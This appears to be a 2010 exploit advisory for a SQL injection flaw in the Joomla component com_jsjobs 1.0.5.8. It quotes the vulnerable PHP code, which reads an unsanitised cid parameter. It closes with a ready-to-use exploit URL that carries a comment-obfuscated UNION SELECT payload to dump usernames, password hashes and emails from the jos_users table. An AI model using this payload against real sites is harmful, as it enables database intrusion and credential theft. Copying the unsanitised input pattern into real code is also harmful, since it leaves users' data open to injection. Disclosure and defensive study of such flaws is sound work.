Joomla Component com_jsjobs SQL Injection Vulnerability

                                                # Exploit Title:    Joomla Component com_jsjobs SQL Injection Vulnerability
#Date:          31/05/10
#Author:        http://www.joomsky.com
#Software Link:     http://www.joomsky.com/index.php?option=com_rokdownloads&view=file&task=download&id=23%3Ajs-jobs&Itemid=4
#Version:       1.0.5.8
#Tested on:     Linux ubuntu32 2.6.32-22-generic x64
#Summary:
 
On administrator/components/com_jsjobs/views/application/view.html.php file we can find this segment code on line 53:
 
if ($cur_layout == 'categories'){                          
            if (isset($_GET['cid'][0]))     $c_id= $_GET['cid'][0]; //o0ps..possible SQL Injection }:)     
            else $c_id=''; 
             
            if ($c_id == ''){
                $cids = JRequest :: getVar('cid', array (0), 'post', 'array');
                $c_id= $cids[0];               
            }
 
        ... //conditional check some values with elseifs...
}
 
This check
    if (isset($_GET['cid'][0]))     $c_id= $_GET['cid'][0];
open SQLi posibilities for get sense information from servers databases. Some like this:
 
[+]EXPLOIT:
http://localhost/joomla/administrator/index.php?option=com_jsjobs&task=edit&cid[]=-69/*!union/**/select/**/1,2,3,group_concat%28username,0x3a,password,0x3a,email%29/**/from/**/jos_users*/--